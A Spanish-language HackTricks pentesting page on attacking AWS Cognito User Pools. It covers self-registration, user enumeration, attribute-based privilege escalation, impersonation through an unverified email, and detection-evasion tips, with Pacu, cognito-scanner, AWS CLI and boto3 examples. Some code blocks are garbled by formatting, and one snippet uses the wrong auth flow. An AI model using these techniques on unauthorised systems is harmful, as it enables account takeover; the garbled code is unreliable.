Cognito User Pools
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información Básica
Un grupo de usuarios es un directorio de usuarios en Amazon Cognito. Con un grupo de usuarios, tus usuarios pueden iniciar sesión en tu aplicación web o móvil a través de Amazon Cognito, o federarse a través de un proveedor de identidad de terceros (IdP). Ya sea que tus usuarios inicien sesión directamente o a través de un tercero, todos los miembros del grupo de usuarios tienen un perfil de directorio al que puedes acceder a través de un SDK.
Los grupos de usuarios proporcionan:
- Servicios de registro e inicio de sesión.
- Una interfaz web personalizable incorporada para iniciar sesión a los usuarios.
- Inicio de sesión social con Facebook, Google, Login with Amazon y Sign in with Apple, y a través de proveedores de identidad SAML y OIDC de tu grupo de usuarios.
- Gestión del directorio de usuarios y perfiles de usuario.
- Características de seguridad como autenticación multifactor (MFA), verificaciones de credenciales comprometidas, protección contra toma de control de cuentas y verificación de teléfono y correo electrónico.
- Flujos de trabajo personalizados y migración de usuarios a través de desencadenadores de AWS Lambda.
El código fuente de las aplicaciones generalmente también contendrá el ID del grupo de usuarios y el ID de la aplicación cliente, (y a veces el secreto de la aplicación?) que son necesarios para que un usuario inicie sesión en un Grupo de Usuarios de Cognito.
Ataques Potenciales
- Registro: Por defecto, un usuario puede registrarse a sí mismo, por lo que podría crear un usuario para sí mismo.
- Enumeración de usuarios: La funcionalidad de registro puede ser utilizada para encontrar nombres de usuario que ya existen. Esta información puede ser útil para el ataque de fuerza bruta.
- Fuerza bruta de inicio de sesión: En la sección de Autenticación tienes todos los métodos que un usuario tiene para iniciar sesión, podrías intentar forzarlos para encontrar credenciales válidas.
Herramientas para pentesting
- Pacu, ahora incluye los módulos
cognito__enumycognito__attackque automatizan la enumeración de todos los activos de Cognito en una cuenta y marcan configuraciones débiles, atributos de usuario utilizados para el control de acceso, etc., y también automatizan la creación de usuarios (incluido el soporte MFA) y la escalada de privilegios basada en atributos personalizados modificables, credenciales de grupos de identidad utilizables, roles asumibles en tokens de id, etc.
Para una descripción de las funciones de los módulos, consulta la parte 2 del blog post. Para instrucciones de instalación, consulta la página principal de Pacu.
# Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account
Pacu (new:test) > run cognito__enum
# cognito__attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
- Cognito Scanner es una herramienta CLI en python que implementa diferentes ataques en Cognito, incluyendo la creación no deseada de cuentas y el oracle de cuentas. Consulta this link para más información.
# Install
pip install cognito-scanner
# Run
cognito-scanner --help
- CognitoAttributeEnum: Este script permite enumerar atributos válidos para usuarios.
python cognito-attribute-enu.py -client_id 16f1g98bfuj9i0g3f8be36kkrl
Registro
User Pools permite por defecto registrar nuevos usuarios.
aws cognito-idp sign-up --client-id <client-id> \
--username <username> --password <password> \
--region <region> --no-sign-request
Si alguien puede registrarse
Es posible que encuentres un error que indica que necesitas proporcionar más detalles sobre el usuario:
An error occurred (InvalidParameterException) when calling the SignUp operation: Attributes did not conform to the schema: address: The attribute is required
Puedes proporcionar los detalles necesarios con un JSON como:
--user-attributes '[{"Name": "email", "Value": "carlospolop@gmail.com"}, {"Name":"gender", "Value": "M"}, {"Name": "address", "Value": "street"}, {"Name": "custom:custom_name", "Value":"supername&\"*$"}]'
También podrías usar esta funcionalidad para enumerar usuarios existentes. Este es el mensaje de error cuando un usuario ya existe con ese nombre:
An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists
Note
Nota en el comando anterior cómo los atributos personalizados comienzan con “custom:”.
También se debe saber que al registrarse no se pueden crear nuevos atributos personalizados para el usuario. Solo se puede dar valor a atributos predeterminados (incluso si no son obligatorios) y atributos personalizados especificados.
O simplemente para probar si existe un id de cliente. Este es el error si el client-id no existe:
An error occurred (ResourceNotFoundException) when calling the SignUp operation: User pool client 3ig612gjm56p1ljls1prq2miut does not exist.
Si solo el administrador puede registrar usuarios
Encontrarás este error y no podrás registrar o enumerar usuarios:
An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool
Verificando el Registro
Cognito permite verificar un nuevo usuario verificando su correo electrónico o número de teléfono. Por lo tanto, al crear un usuario, generalmente se requerirá al menos el nombre de usuario y la contraseña, así como el correo electrónico y/o número de teléfono. Simplemente establece uno que controles para que recibas el código para verificar tu cuenta de usuario recientemente creada así:
aws cognito-idp confirm-sign-up --client-id <cliet_id> \
--username aasdasd2 --confirmation-code <conf_code> \
--no-sign-request --region us-east-1
Warning
Incluso si parece que puedes usar el mismo correo electrónico y número de teléfono, cuando necesites verificar el usuario creado, Cognito se quejará de usar la misma información y no te permitirá verificar la cuenta.
Escalación de Privilegios / Actualización de Atributos
Por defecto, un usuario puede modificar el valor de sus atributos con algo como:
aws cognito-idp update-user-attributes \
--region us-east-1 --no-sign-request \
--user-attributes Name=address,Value=street \
--access-token <access token>
Privesc de atributo personalizado
Caution
Podrías encontrar atributos personalizados siendo utilizados (como
isAdmin), ya que por defecto puedes cambiar los valores de tus propios atributos, ¡podrías ser capaz de escalar privilegios cambiando el valor tú mismo!
Privesc de modificación de correo electrónico/nombre de usuario
Puedes usar esto para modificar el correo electrónico y el número de teléfono de un usuario, pero luego, incluso si la cuenta permanece como verificada, esos atributos están establecidos en estado no verificado (necesitas verificarlos nuevamente).
Warning
No podrás iniciar sesión con el correo electrónico o el número de teléfono hasta que los verifiques, pero podrás iniciar sesión con el nombre de usuario.
Ten en cuenta que incluso si el correo electrónico fue modificado y no verificado, aparecerá en el ID Token dentro del campoemail_verifiedserá falso, pero si la aplicación no está verificando eso, podrías suplantar a otros usuarios.
Además, ten en cuenta que puedes poner cualquier cosa dentro del campo
namesimplemente modificando el atributo name. Si una aplicación está verificando ese campo por alguna razón en lugar del
De todos modos, si por alguna razón cambiaste tu correo electrónico, por ejemplo, a uno nuevo al que puedes acceder, puedes confirmar el correo electrónico con el código que recibiste en esa dirección de correo electrónico:
aws cognito-idp verify-user-attribute \
--access-token <access_token> \
--attribute-name email --code <code> \
--region <region> --no-sign-request
Usa phone_number en lugar de email para cambiar/verificar un nuevo número de teléfono.
Note
El administrador también podría habilitar la opción de iniciar sesión con un nombre de usuario preferido por el usuario. Ten en cuenta que no podrás cambiar este valor a cualquier nombre de usuario o preferred_username que ya esté siendo utilizado para suplantar a otro usuario.
Recuperar/Cambiar Contraseña
Es posible recuperar una contraseña solo conociendo el nombre de usuario (o se acepta email o teléfono) y teniendo acceso a él, ya que se enviará un código allí:
aws cognito-idp forgot-password \
--client-id <client_id> \
--username <username/email/phone> --region <region>
Note
La respuesta del servidor siempre será positiva, como si el nombre de usuario existiera. No puedes usar este método para enumerar usuarios
Con el código puedes cambiar la contraseña con:
aws cognito-idp confirm-forgot-password \
--client-id <client_id> \
--username <username> \
--confirmation-code <conf_code> \
--password <pwd> --region <region>
Para cambiar la contraseña necesitas conocer la contraseña anterior:
aws cognito-idp change-password \
--previous-password <value> \
--proposed-password <value> \
--access-token <value>
Autenticación
Un grupo de usuarios admite diferentes formas de autenticarse. Si tienes un nombre de usuario y contraseña, también hay diferentes métodos soportados para iniciar sesión.
Además, cuando un usuario está autenticado en el grupo, se otorgan 3 tipos de tokens: el ID Token, el Access token y el Refresh token.
- ID Token: Contiene afirmaciones sobre la identidad del usuario autenticado, como
name,emailyphone_number. El ID token también se puede usar para autenticar usuarios en tus servidores de recursos o aplicaciones de servidor. Debes verificar la firma del ID token antes de poder confiar en cualquier afirmación dentro del ID token si lo usas en aplicaciones externas. - El ID Token es el token que contiene los valores de los atributos del usuario, incluso los personalizados.
- Access Token: Contiene afirmaciones sobre el usuario autenticado, una lista de los grupos del usuario y una lista de scopes. El propósito del access token es autorizar operaciones de API en el contexto del usuario en el grupo de usuarios. Por ejemplo, puedes usar el access token para otorgar a tu usuario acceso para agregar, cambiar o eliminar atributos de usuario.
- Refresh Token: Con los refresh tokens puedes obtener nuevos ID Tokens y Access Tokens para el usuario hasta que el refresh token sea inválido. Por defecto, el refresh token expira 30 días después de que el usuario de tu aplicación inicie sesión en tu grupo de usuarios. Cuando creas una aplicación para tu grupo de usuarios, puedes establecer la expiración del refresh token de la aplicación a cualquier valor entre 60 minutos y 10 años.
ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH
Este es el flujo de autenticación del lado del servidor:
- La aplicación del lado del servidor llama a la operación de API
AdminInitiateAuth(en lugar deInitiateAuth). Esta operación requiere credenciales de AWS con permisos que incluyancognito-idp:AdminInitiateAuthycognito-idp:AdminRespondToAuthChallenge. La operación devuelve los parámetros de autenticación requeridos. - Después de que la aplicación del lado del servidor tiene los parámetros de autenticación, llama a la operación de API
AdminRespondToAuthChallenge. La operación de APIAdminRespondToAuthChallengesolo tiene éxito cuando proporcionas credenciales de AWS.
Este método NO está habilitado por defecto.
Para iniciar sesión necesitas saber:
- id del grupo de usuarios
- id del cliente
- nombre de usuario
- contraseña
- secreto del cliente (solo si la aplicación está configurada para usar un secreto)
Note
Para poder iniciar sesión con este método, esa aplicación debe permitir iniciar sesión con
ALLOW_ADMIN_USER_PASSWORD_AUTH.
Además, para realizar esta acción necesitas credenciales con los permisoscognito-idp:AdminInitiateAuthycognito-idp:AdminRespondToAuthChallenge
aws cognito-idp admin-initiate-auth \
--client-id <client-id> \
--auth-flow ADMIN_USER_PASSWORD_AUTH \
--region <region> \
--auth-parameters 'USERNAME=<username>,PASSWORD=<password>,SECRET_HASH=<hash_if_needed>'
--user-pool-id "<pool-id>"
# Check the python code to learn how to generate the hsecret_hash
Código para Iniciar Sesión
```python import boto3 import botocore import hmac import hashlib import base64client_id = “
boto_client = boto3.client(‘cognito-idp’, region_name=‘us-east-1’)
def get_secret_hash(username, client_id, client_secret): key = bytes(client_secret, ‘utf-8’) message = bytes(f’{username}{client_id}’, ‘utf-8’) return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode()
If the Client App isn’t configured to use a secret
just delete the line setting the SECRET_HASH
def login_user(username_or_alias, password, client_id, client_secret, user_pool_id): try: return boto_client.admin_initiate_auth( UserPoolId=user_pool_id, ClientId=client_id, AuthFlow=‘ADMIN_USER_PASSWORD_AUTH’, AuthParameters={ ‘USERNAME’: username_or_alias, ‘PASSWORD’: password, ‘SECRET_HASH’: get_secret_hash(username_or_alias, client_id, client_secret) } ) except botocore.exceptions.ClientError as e: return e.response
print(login_user(username, password, client_id, client_secret, user_pool_id))
</details>
### USER_PASSWORD_AUTH
Este método es otro flujo de **autenticación tradicional de usuario y contraseña**. Se recomienda **migrar un método de autenticación tradicional** **a Cognito** y **se recomienda** luego **desactivarlo** y **usar** el método **ALLOW_USER_SRP_AUTH** en su lugar (ya que este nunca envía la contraseña a través de la red).\
Este **método NO está habilitado** por defecto.
La **principal diferencia** con el **método de autenticación anterior** dentro del código es que **no necesitas conocer el ID del grupo de usuarios** y que **no necesitas permisos adicionales** en el Grupo de Usuarios de Cognito.
Para **iniciar sesión** necesitas saber:
- client id
- username
- password
- client secret (solo si la aplicación está configurada para usar un secreto)
> [!NOTE]
> Para **poder iniciar sesión con este método**, esa aplicación debe permitir iniciar sesión con ALLOW_USER_PASSWORD_AUTH.
```python
aws cognito-idp initiate-auth --client-id <client-id> \
--auth-flow USER_PASSWORD_AUTH --region <region> \
--auth-parameters 'USERNAME=<username>,PASSWORD=<password>,SECRET_HASH=<hash_if_needed>'
# Check the python code to learn how to generate the secret_hash
Código Python para Iniciar Sesión
```python import boto3 import botocore import hmac import hashlib import base64client_id = “
boto_client = boto3.client(‘cognito-idp’, region_name=‘us-east-1’)
def get_secret_hash(username, client_id, client_secret): key = bytes(client_secret, ‘utf-8’) message = bytes(f’{username}{client_id}’, ‘utf-8’) return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode()
If the Client App isn’t configured to use a secret
just delete the line setting the SECRET_HASH
def login_user(username_or_alias, password, client_id, client_secret, user_pool_id): try: return boto_client.initiate_auth( ClientId=client_id, AuthFlow=‘ADMIN_USER_PASSWORD_AUTH’, AuthParameters={ ‘USERNAME’: username_or_alias, ‘PASSWORD’: password, ‘SECRET_HASH’: get_secret_hash(username_or_alias, client_id, client_secret) } ) except botocore.exceptions.ClientError as e: return e.response
print(login_user(username, password, client_id, client_secret, user_pool_id))
</details>
### USER_SRP_AUTH
Este escenario es similar al anterior, pero **en lugar de enviar la contraseña** a través de la red para iniciar sesión, se **realiza una autenticación de desafío** (por lo que no hay contraseña navegando, ni siquiera encriptada, a través de la red).\
Este **método está habilitado** por defecto.
Para **iniciar sesión** necesitas saber:
- id del grupo de usuarios
- id del cliente
- nombre de usuario
- contraseña
- secreto del cliente (solo si la aplicación está configurada para usar un secreto)
<details>
<summary>Código para iniciar sesión</summary>
```python
from warrant.aws_srp import AWSSRP
import os
USERNAME='xxx'
PASSWORD='yyy'
POOL_ID='us-east-1_zzzzz'
CLIENT_ID = '12xxxxxxxxxxxxxxxxxxxxxxx'
CLIENT_SECRET = 'secreeeeet'
os.environ["AWS_DEFAULT_REGION"] = "<region>"
aws = AWSSRP(username=USERNAME, password=PASSWORD, pool_id=POOL_ID,
client_id=CLIENT_ID, client_secret=CLIENT_SECRET)
tokens = aws.authenticate_user()
id_token = tokens['AuthenticationResult']['IdToken']
refresh_token = tokens['AuthenticationResult']['RefreshToken']
access_token = tokens['AuthenticationResult']['AccessToken']
token_type = tokens['AuthenticationResult']['TokenType']
REFRESH_TOKEN_AUTH & REFRESH_TOKEN
Este método siempre va a ser válido (no se puede desactivar) pero necesitas tener un token de actualización válido.
aws cognito-idp initiate-auth \
--client-id 3ig6h5gjm56p1ljls1prq2miut \
--auth-flow REFRESH_TOKEN_AUTH \
--region us-east-1 \
--auth-parameters 'REFRESH_TOKEN=<token>'
Código para refrescar
```python import boto3 import botocore import hmac import hashlib import base64client_id = “
boto_client = boto3.client(‘cognito-idp’, region_name=‘
def refresh(client_id, refresh_token): try: return boto_client.initiate_auth( ClientId=client_id, AuthFlow=‘REFRESH_TOKEN_AUTH’, AuthParameters={ ‘REFRESH_TOKEN’: refresh_token } ) except botocore.exceptions.ClientError as e: return e.response
print(refresh(client_id, token))
</details>
### CUSTOM_AUTH
En este caso, la **autenticación** se realizará a través de la **ejecución de una función lambda**.
## Seguridad Extra
### Seguridad Avanzada
Por defecto está desactivada, pero si se habilita, Cognito podría ser capaz de **encontrar tomas de control de cuentas**. Para minimizar la probabilidad, deberías iniciar sesión desde una **red dentro de la misma ciudad, utilizando el mismo agente de usuario** (y la IP si es posible)**.**
### **MFA Recordar dispositivo**
Si el usuario inicia sesión desde el mismo dispositivo, el MFA podría ser eludido, por lo tanto, intenta iniciar sesión desde el mismo navegador con los mismos metadatos (¿IP?) para intentar eludir la protección MFA.
## Roles IAM de Grupos de User Pool
Es posible agregar **usuarios a grupos de User Pool** que están relacionados con un **rol IAM**.\
Además, **los usuarios** pueden ser asignados a **más de 1 grupo con diferentes roles IAM** adjuntos.
Ten en cuenta que incluso si un grupo está dentro de un grupo con un rol IAM adjunto, para poder acceder a las credenciales IAM de ese grupo es necesario que el **User Pool sea confiable por un Identity Pool** (y conocer los detalles de ese Identity Pool).
Otro requisito para obtener el **rol IAM indicado en el IdToken** cuando un usuario está autenticado en el User Pool (`aws cognito-idp initiate-auth...`) es que el **proveedor de autenticación del proveedor de identidad** necesita indicar que el **rol debe ser seleccionado del token.**
<figure><img src="../../../../images/image (250).png" alt=""><figcaption></figcaption></figure>
Los **roles** a los que un usuario tiene acceso están **dentro del `IdToken`**, y un usuario puede **seleccionar qué rol le gustaría obtener credenciales** con el **`--custom-role-arn`** de `aws cognito-identity get-credentials-for-identity`.\
Sin embargo, si la **opción predeterminada** es la que está **configurada** (`usar rol predeterminado`), y intentas acceder a un rol desde el IdToken, recibirás un **error** (por eso se necesita la configuración anterior):
An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN.
> [!WARNING]
> Tenga en cuenta que el rol asignado a un **Grupo de User Pool** debe ser **accesible por el Proveedor de Identidad** que **confía en el User Pool** (ya que las **credenciales de sesión del rol IAM se obtendrán de él**).
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"cognito-identity.amazonaws.com:aud": "us-east-1:2361092e-9db6-a876-1027-10387c9de439"
},
"ForAnyValue:StringLike": {
"cognito-identity.amazonaws.com:amr": "authenticated"
}
}
}
]
}js
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

